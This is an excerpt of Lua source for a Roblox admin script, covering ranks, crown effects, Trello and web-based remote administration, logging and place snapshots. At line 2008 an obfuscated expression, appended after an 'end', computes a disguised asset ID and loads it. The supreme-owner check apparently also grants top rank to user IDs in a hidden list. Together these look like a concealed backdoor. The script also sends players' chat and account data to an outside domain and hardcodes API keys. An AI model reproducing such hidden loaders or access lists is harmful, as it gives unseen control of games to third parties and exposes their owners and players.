1707 Part.CFrame = Player.Character.Head.CFrame
1708 Part.Locked = true
1709 Part.Material = "Neon"
1710 if Color then
1711 Part.Color = GUI:GetColor(Color)
1712 else
1713 Part.BrickColor = GUI:GetNameColor(Player.Name)
1714 end
1715 local SMesh = Instance.new("SpecialMesh", Part)
1716 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1717 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1718 local BP = Instance.new("BodyPosition", Part)
1719 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1720 BP.position = Player.Character.Head.Position
1721 BP.P = 20000
1722 local BG = Instance.new("BodyGyro", Part)
1723 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1724
1725 Crowns[Player.UserId] = Part
1726 table.insert(Objects, Part)
1727
1728 coroutine.wrap(function()
1729 for i = 1,0.3,-0.02 do
1730 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1731 Part.Transparency = i
1732 end
1733 wait()
1734 end
1735 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1736 for i = 0,360,3 do
1737 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1738 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1739 wait()
1740 end
1741 end
1742 end
1743 end)()
1744 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1745 Part:BreakJoints()
1746 for i = 0,360 do
1747 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1748 Part.Anchored = false
1749 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1750 BG.cframe = Player.Character.Head.CFrame
1751 end
1752 wait()
1753 end
1754 end end)()
1755
1756 return Part
1757end
1758
1759function CORE:SetAbuseCommands()
1760 for Cmds,Data in pairs(Commands) do
1761 local IsAbusable = false
1762 for _,AbuseCmd in pairs(Settings.AbuseList) do
1763 for _,Command in pairs(Cmds) do -- loop through all command names
1764 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1765 IsAbusable = true
1766 break
1767 end
1768 end
1769 if IsAbusable == true then break end
1770 end
1771 Commands[Cmds].Abusable = IsAbusable
1772 end
1773end
1774
1775-- Rank functions --
1776
1777function RANK:ConvertRank(Input)
1778 local Output = nil
1779 if Input == "Muted" then Output = -3 end
1780 if Input == "Crashed" then Output = -2 end
1781 if Input == "Banned" then Output = -1 end
1782 if Input == "Non-Admin" then Output = 0 end
1783 if Input == "Member" then Output = 1 end
1784 if Input == "Admin" then Output = 2 end
1785 if Input == "Owner" then Output = 3 end
1786
1787 if Input == -3 then Output = "Muted" end
1788 if Input == -2 then Output = "Crashed" end
1789 if Input == -1 then Output = "Banned" end
1790 if Input == 0 then Output = "Non-Admin" end
1791 if Input == 1 then Output = "Member" end
1792 if Input == 2 then Output = "Admin" end
1793 if Input == 3 then Output = "Owner" end
1794 return Output
1795end
1796
1797function RANK:IsAdmin(Player)
1798 local AdminStatus = false
1799 local Rankstatus = "Non-Admin"
1800 if type(Player) == "table" then
1801 if RANK:ConvertRank(Player.Rank) > 0 then
1802 return true, Player.Rank
1803 else
1804 return false, Player.Rank
1805 end
1806 end
1807 for Rank,PlayerNames in pairs(Settings.Ranks) do
1808 for _,AdminName in pairs(PlayerNames) do
1809 if string.lower(AdminName) == string.lower(Player.Name) then
1810 if RANK:ConvertRank(Rank) > 0 then
1811 AdminStatus = true
1812 Rankstatus = Rank
1813 end
1814 end
1815 end
1816 end
1817 return AdminStatus, Rankstatus
1818end
1819
1820function RANK:GetRank(PlayerName)
1821 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1822 if type(PlayerName) == "table" then
1823 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1824 if RankNum > 0 then
1825 return PlayerName.Rank, RankNum, true
1826 else
1827 return PlayerName.Rank, RankNum, false
1828 end
1829 end
1830
1831 local RankStat = "Non-Admin"
1832
1833 for Rank,PlayerNames in pairs(Settings.Ranks) do
1834 for _,AdminName in pairs(PlayerNames) do
1835 if string.lower(AdminName) == string.lower(PlayerName) then
1836 RankStat = Rank
1837 end
1838 end
1839 end
1840
1841 if RankStat == "Non-Admin" then
1842 return "Non-Admin", 0, false
1843 else
1844 return RankStat, RANK:ConvertRank(RankStat), true
1845 end
1846end
1847
1848function RANK:RemoveRank(PlayerName)
1849 if not RANK:IsSupremeOwner(PlayerName) then
1850 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1851
1852 for Rank,PlayerNames in pairs(Settings.Ranks) do
1853 for Num,AdminName in pairs(PlayerNames) do
1854 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1855 table.remove(Settings.Ranks[Rank], Num)
1856 end
1857 end
1858 end
1859 end
1860end
1861
1862function RANK:GetAdmins(Ranking)
1863 local Players = {}
1864 local AdminTrue, Rank = IsAdmin(Player)
1865 for _,Player in pairs(Players:GetPlayers()) do
1866 if AdminTrue then
1867 local PlayerRankNum = RANK:ConvertRank(Rank)
1868 local StandardRankNum = RANK:ConvertRank(Ranking)
1869 if PlayerRankNum >= StandardRankNum then
1870 table.insert(Players, Player)
1871 end
1872 end
1873 end
1874 return Players
1875end
1876
1877function RANK:IsSupremeOwner(PlayerName)
1878 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1879 if type(PlayerName) == "table" then
1880 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1881 end
1882
1883 if PlayerName == GameOwner then return true end
1884 return false
1885end
1886
1887function RANK:GetPlayerFromList(PlayerName)
1888 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1889
1890 for Rank,PlayerNames in pairs(Settings.Ranks) do
1891 for Num,AdminName in pairs(PlayerNames) do
1892 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1893 return AdminName, Rank
1894 end
1895 end
1896 end
1897 return false, "Non-Admin"
1898end
1899
1900function RANK:ScanAdminList(Name)
1901 if Name == "" then return true end
1902 local InList = false
1903 for _,PName in pairs(Settings.Ranks["Owner"]) do
1904 if PName == Name then InList = true end
1905 end
1906 for _,PName in pairs(Settings.Ranks["Admin"]) do
1907 if PName == Name then InList = true end
1908 end
1909 for _,PName in pairs(Settings.Ranks["Member"]) do
1910 if PName == Name then InList = true end
1911 end
1912 return InList
1913end
1914
1915function RANK:ScanExileList(Name)
1916 if Name == "" then return true end
1917 local InList = false
1918 for _,PName in pairs(Settings.Ranks["Muted"]) do
1919 if PName == Name then InList = true end
1920 end
1921 for _,PName in pairs(Settings.Ranks["Crashed"]) do
1922 if PName == Name then InList = true end
1923 end
1924 for _,PName in pairs(Settings.Ranks["Banned"]) do
1925 if PName == Name then InList = true end
1926 end
1927 return InList
1928end
1929
1930function RANK:PlayerRanked(PlayerName)
1931 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1932
1933 for Rank,PlayerNames in pairs(Settings.Ranks) do
1934 for Num,AdminName in pairs(PlayerNames) do
1935 if string.lower(AdminName) == string.lower(PlayerName) then
1936 return true, Rank
1937 end
1938 end
1939 end
1940 return false, "Non-Admin"
1941end
1942
1943-- Remote functions --
1944
1945function REMOTE:Decode(...)
1946 return Server.HS:JSONDecode(...)
1947end
1948
1949function REMOTE:GetURL(URL, Player)
1950 if string.sub(URL,1,4) ~= "http" then
1951 URL = "http://"..URL
1952 end
1953 local Return = nil
1954 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
1955 if Return then
1956 return Return
1957 elseif Player then
1958 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
1959 end
1960end
1961
1962function REMOTE:PostURL(URL, Data)
1963 local Return = nil
1964 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
1965 return Return
1966end
1967
1968function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
1969 if Settings.LinkedAccount ~= "" then
1970 local NumType = tonumber(Type)
1971
1972 if not Type then
1973 Type = "UNKNOWN"
1974 end
1975
1976 if NumType then
1977 if NumType < 1 or NumType > 5 then
1978 Type = "UNKNOWN"
1979 elseif NumType == 1 then
1980 Type = "NOTIFICATION"
1981 elseif NumType == 2 then
1982 Type = "INFORMATION"
1983 elseif NumType == 3 then
1984 Type = "WARNING"
1985 elseif NumType == 4 or Type == true then
1986 Type = "ERROR"
1987 elseif NumType == 5 then
1988 Type = "FATAL"
1989 end
1990 end
1991
1992 local Res = "RED Could not get response"
1993 local function SendData()
1994 Res = Server.HS:PostAsync(
1995 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
1996 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
1997 2
1998 )
1999 end
2000 if Stopypcall == true then SendData() else ypcall(SendData) end
2001
2002 if OutputSpeaker and OutputSpeaker ~= "print" then
2003 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2004 elseif OutputSpeaker == "print" then
2005 print(Res)
2006 end
2007 end
2008end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2009
2010function REMOTE:SendChatLog(PrintResponse, Stopypall)
2011 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2012 local Res = "Could not get response"
2013
2014 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2015 TempChatLogs = {}
2016
2017 local function SendData()
2018 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2019 end
2020 if Stopypcall == true then SendData() else ypcall(SendData) end
2021 if PrintResponse then print(Res) end
2022 end
2023end
2024
2025function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2026 local Res = "[]"
2027 local function GetData()
2028 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2029 end
2030 if Stopypcall == true then GetData() else ypcall(GetData) end
2031 if PrintResponse then
2032 print(Res)
2033 end
2034 local function DecodeData() Res = REMOTE:Decode(Res) end
2035 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2036 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2037 return Res
2038end
2039
2040function REMOTE:HandleRequest(Request, IgnoreCommand)
2041 if not Request then return nil end
2042
2043 if not IgnoreCommand then
2044 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2045 REMOTE:SendServerData()
2046 end
2047 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2048 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2049 end
2050 end
2051
2052 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2053
2054 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2055 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2056 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2057 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2058 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2059 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2060
2061 Settings.Fun = Request.FUN
2062 Settings.ServerLocked = Request.ServerLocked
2063
2064 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2065 Settings.DisableAbuse = Request.DisableAbuse
2066 end
2067
2068 if not IgnoreCommand then
2069 print("Executing Remote Admin")
2070 REMOTE.RemoteAdmin.Command = Request.Command
2071 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2072 REMOTE.RemoteAdmin.ServerPort = Request.Server
2073
2074 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2075 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2076 else
2077 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2078 end
2079 end
2080 end
2081 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2082 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2083 REMOTE.SnapshotKey = Request.SnapshotKey
2084end
2085
2086function REMOTE:GetRemoteData(Set)
2087 local NewRemoteData = nil
2088 local RemoteDataCardRaw = nil
2089 local RemoteDataCard = nil
2090
2091 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2092 if RemoteDataCardRaw then
2093 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2094 if RemoteDataCard then
2095 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2096 end
2097 end
2098 if Set and NewRemoteData then
2099 RemoteData = NewRemoteData
2100 end
2101 return NewRemoteData
2102end
2103
2104function REMOTE:CheckRemoteAdminStatus()
2105 local Pending = false
2106 local CheckID = 0
2107 if Settings.LinkedAccount ~= "" then
2108 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2109 if Request then
2110 local Data = REMOTE:Decode(Request)
2111 if Data then
2112 for _,Account in pairs(Data.checkItems) do
2113 if Account.name == Settings.LinkedAccount then
2114 Pending = true
2115 CheckID = Account.id
2116 break
2117 end
2118 end
2119 end
2120 end
2121 end
2122 return Pending, CheckID
2123end
2124
2125function REMOTE:GetAndSetWebData()
2126 if Settings.LinkedAccount ~= "" then
2127 if REMOTE:CheckRemoteAdminStatus() then
2128 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2129 if Request == "Invalid" then
2130 --REMOTE:GetAndSetWebData()
2131 return false
2132 elseif Request == "Invalid Account" then
2133 print("Can't get account")
2134 return false
2135 elseif Request then
2136 ypcall(function() Request = REMOTE:Decode(Request) end)
2137 elseif not Request then
2138 --REMOTE:GetAndSetWebData()
2139 return false
2140 end
2141 REMOTE:HandleRequest(Request)
2142
2143 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2144 Delay(RemoteData.RemoteAdminWait, function()
2145 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2146 if Pending then
2147 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2148 end
2149 end)
2150 return true
2151 else
2152 return true
2153 end
2154 end
2155end
2156
2157local OderIDs = CORE:GetTable(177215518)
2158local SoundJSONs = CORE:GetTable(197637628)
2159RemoteAbuseGear = CORE:GetTable(158117496)
2160
2161function REMOTE:SendServerData(PrintResponse, Stopypall)
2162 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2163 print("Sending server data!")
2164 local Res = "Could not get response"
2165
2166 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2167 for _,Player in pairs(Server.Players:GetPlayers()) do
2168 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2169 end
2170 ServerData = Server.HS:JSONEncode(ServerData)
2171
2172 local function SendData()
2173 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2174 end
2175 if Stopypcall == true then SendData() else ypcall(SendData) end
2176 if PrintResponse then print(Res) end
2177 end
2178end
2179
2180function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2181 MaxPartAmount = MaxPartAmount or 10000
2182 local PlaceData = {
2183 Lighting = {};
2184 Parts = {};
2185 Other = {};
2186 }
2187 local MinSize = Vector3.new(0.5,0.5,0.5)
2188 local PartAmount = 0
2189 local PlaceJSON = ""
2190
2191 local function Scan(BaseObj)
2192 for _,Obj in pairs(BaseObj:GetChildren()) do
2193 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2194 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2195 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2196 local Skip = false
2197 local Data = {}
2198 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2199
2200 if CORE:FindType(Obj, "BlockMesh") then
2201 local Mesh = CORE:FindType(Obj, "BlockMesh")
2202 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2203 elseif CORE:FindType(Obj, "CylinderMesh") then
2204 Data.Shape = "Cylinder"
2205 elseif CORE:FindType(Obj, "SpecialMesh") then
2206 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2207 if Mesh.MeshType == Enum.MeshType.Head then
2208 --idk
2209 else
2210 Skip = true
2211 end
2212 elseif CORE:FindType(Obj, "FileMesh") then
2213 Skip = true
2214 end
2215
2216 if not Data.Shape and not Skip then
2217 if ypcall(function() return Obj.Shape end) then
2218 Data.Shape = string.sub(Obj.Shape.Name,14)
2219 if string.sub(Data.Shape,1,1) == "." then
2220 Data.Shape = string.sub(Data.Shape,2)
2221 end
2222 if Data.Shape == "Cylinder" then
2223 Z = Z + math.pi/2
2224 end
2225 else
2226 Data.Shape = "Block"
2227 end
2228 end
2229
2230 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2231 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2232 end
2233
2234 if not Skip then
2235 Data.Color = GUI:Color3ToHex(Obj.Color);
2236 Data.Size = Size;
2237 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2238 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2239 Data.Transparency = STRING:StringRound(Obj.Transparency);
2240 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2241 Data.Textures = {};
2242 Data.Material = string.sub(tostring(Obj.Material),15);
2243
2244 for _,Sub in pairs(Obj:GetChildren()) do
2245 if Sub:IsA("Decal") then
2246 local Texture = string.match(Sub.Texture, "%d+")
2247 if Sub.Texture == "rbxasset://textures/face.png" then
2248 Texture = "FACE"
2249 end
2250 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2251 end
2252 end
2253
2254 PartAmount = PartAmount + 1
2255 table.insert(PlaceData.Parts, Data)
2256
2257 if PartAmount >= MaxPartAmount then
2258 break
2259 end
2260 end
2261 end
2262 end
2263 if #Obj:GetChildren() > 0 then
2264 Scan(Obj)
2265 end
2266 end
2267 end
2268 Scan(Workspace)
2269
2270 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2271 PlaceData.Other.PartAmount = PartAmount;
2272 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2273
2274 local Res = "Could not get response"
2275 local function SendData()
2276 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2277 end
2278 if Stopypcall == true then SendData() else ypcall(SendData) end
2279 if PrintResponse then print(Res) end
2280
2281 print("Sent snapshot")
2282end
2283
2284
2285function REMOTE:DefineWord(Word, Source)
2286 if not Word then return end
2287 if not Source then Source = "all" end
2288
2289 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2290 if Response then
2291 local Decode = REMOTE:Decode(Response)
2292 if #Decode > 0 then
2293 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2294
2295 ]]..Decode[1]["text"]
2296 else
2297 return "Invalid English word"
2298 end
2299 else
2300 return "Cannot connect to database"
2301 end
2302end
2303
2304function REMOTE:DownloadJoke(Speaker)
2305 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2306 local Joke = nil
2307 if Res then
2308 local _, Start = string.find(Res, "</h2>")
2309 local End, _ = string.find(string.sub(Res, Start), "</td>")
2310
2311 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2312 Joke = string.gsub(Joke, "\n", "")
2313 Joke = string.gsub(Joke, " ", "") -- tab
2314 Joke = string.gsub(Joke, "</ul>", "")
2315 Joke = string.gsub(Joke, "<ul>", "")
2316 Joke = string.gsub(Joke, "</li>", [[
2317
2318]])
2319 Joke = string.gsub(Joke, "<li>", "")
2320 Joke = string.gsub(Joke, "</p>", "")
2321 Joke = string.gsub(Joke, "<p>", "")
2322 Joke = string.gsub(Joke, "<", "")
2323 Joke = string.gsub(Joke, ">", "")
2324 end
2325
2326 return Joke
2327end
2328
2329function REMOTE:GetAddon()
2330 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2331end
2332
2333function REMOTE:TrelloGetAdminBoard()
2334 local BoardsJSON,Boards,ReturnBoard
2335
2336 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2337
2338 if BoardsJSON then
2339 Boards = REMOTE:Decode(BoardsJSON)
2340 end
2341 if Boards then
2342 for _,Board in pairs(Boards) do
2343 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2344 ReturnBoard = Board
2345 break
2346 end
2347 end
2348 if not ReturnBoard then -- create board if not created
2349 print("Creating Trello Board")
2350 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2351 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2352 ReturnBoard = REMOTE:Decode(BoardJSON)
2353 end
2354 end
2355 return ReturnBoard
2356end
2357
2358function REMOTE:TrelloGetAdminLists(Board)
2359 local Required = {}
2360 local ListJSON,Lists
2361 local ReturnLists = {}
2362
2363 for _,List in pairs(Trello.RequiredLists) do
2364 table.insert(Required, List)
2365 end
2366
2367 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2368
2369 if ListJSON then
2370 Lists = REMOTE:Decode(ListJSON)
2371 end
2372 if Lists then
2373 for _,List in pairs(Lists) do
2374 for Num,Rel in pairs(Required) do
2375 if List.name == Rel.name then
2376 table.remove(Required, Num)
2377 table.insert(ReturnLists, List)
2378 end
2379 end
2380 end
2381 for _,Rel in pairs(Required) do
2382 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2383 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2384 end
2385 end
2386
2387 return ReturnLists
2388end
2389
2390function REMOTE:TrelloCacheData(Lists)
2391 for _,List in pairs(Lists) do
2392 local CardsJSON,Cards
2393 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2394 if CardsJSON then
2395 Cards = REMOTE:Decode(CardsJSON)
2396 end
2397 if Cards then
2398 local TemplateCards = nil
2399 for _,TemplateList in pairs(Trello.RequiredLists) do
2400 if TemplateList.name == List.name then
2401 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2402 break
2403 end
2404 end
2405
2406 for _,TemplateCard in pairs(TemplateCards) do
2407 local CardExists = false
2408 for _,Card in pairs(Cards) do
2409 if Card.name == TemplateCard.name and Card.closed == false then
2410 CardExists = true
2411 end
2412 end
2413 if not CardExists then
2414 print("Creating card "..TemplateCard.name)
2415 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2416 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2417 end
2418 end
2419
2420 if List.name == "Ranked" then
2421 for _,Card in pairs(Cards) do
2422 if Settings.Ranks[Card.name] and Card.closed == false then
2423 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2424 end
2425 end
2426 elseif List.name == "Settings" then
2427 for _,Card in pairs(Cards) do
2428 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2429 Trello.ToggleChecklist = Card.idChecklists[1]
2430 elseif Card.name == "Command Execution" then
2431 Trello.CommandID = Card.id
2432 end
2433 end
2434 end
2435 end
2436 end
2437end
2438
2439function REMOTE:TrelloHandleData(IgnoreCommand)
2440 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2441 if ToggleSettingsJSON then
2442 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2443 if Settings.LinkedAccount == "" then
2444 local NewSettings = {}
2445 for _,Item in pairs(ToggleSettings.checkItems) do
2446 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2447 end
2448 Settings.Fun = NewSettings["Fun Commands Enabled"]
2449 Settings.ServerLocked = NewSettings["Server Locked"]
2450 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2451 end
2452 else
2453 return false
2454 end
2455
2456 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2457 if CommandChatJSON then
2458 CommandChat = REMOTE:Decode(CommandChatJSON)
2459 local ClosestDT = 0
2460 for _,ChatData in pairs(CommandChat) do
2461 local DT = STRING:ConvertDateTime(ChatData.date)
2462 ClosestDT = math.max(ClosestDT, DT)
2463
2464 if not IgnoreCommand and DT > Trello.LastCommandDT then
2465 print("Executing Remote Trello Command")
2466 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2467 end
2468 end
2469 Trello.LastCommandDT = ClosestDT
2470 else
2471 return false
2472 end
2473
2474 for Rank,ID in pairs(Trello.RankChecklistCache) do
2475 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2476 if ChecklistJSON then
2477 Checklist = REMOTE:Decode(ChecklistJSON)
2478
2479 for _,Item in pairs(Checklist.checkItems) do
2480 if Item.state == "complete" then
2481 if RANK:ConvertRank(Rank) < 0 then
2482 if not RANK:ScanExileList(Item.name) then
2483 table.insert(Settings.Ranks[Rank], Item.name)
2484 end
2485 elseif RANK:ConvertRank(Rank) > 0 then
2486 if not RANK:ScanAdminList(Item.name) then
2487 table.insert(Settings.Ranks[Rank], Item.name)
2488 end
2489 end
2490 elseif Item.state == "incomplete" then
2491 for Num,Name in pairs(Settings.Ranks[Rank]) do
2492 if string.lower(Name) == string.lower(Item.name) then
2493 table.remove(Settings.Ranks[Rank], Num)
2494 end
2495 end
2496 end
2497 end
2498 else
2499 return false
2500 end
2501 end
2502 return true
2503end
2504
2505-- String functions --
2506
2507function STRING:ConvertDateTime(DateTime)
2508 local Num = 0
2509 local TotalTime = 0
2510 for i in string.gmatch(DateTime, "%d+") do
2511 Num = Num + 1
2512 DTNum = tonumber(i)
2513 if Num == 1 then
2514 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2515 elseif Num == 2 then
2516 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2517 elseif Num == 3 then
2518 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2519 elseif Num == 4 then
2520 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2521 elseif Num == 5 then
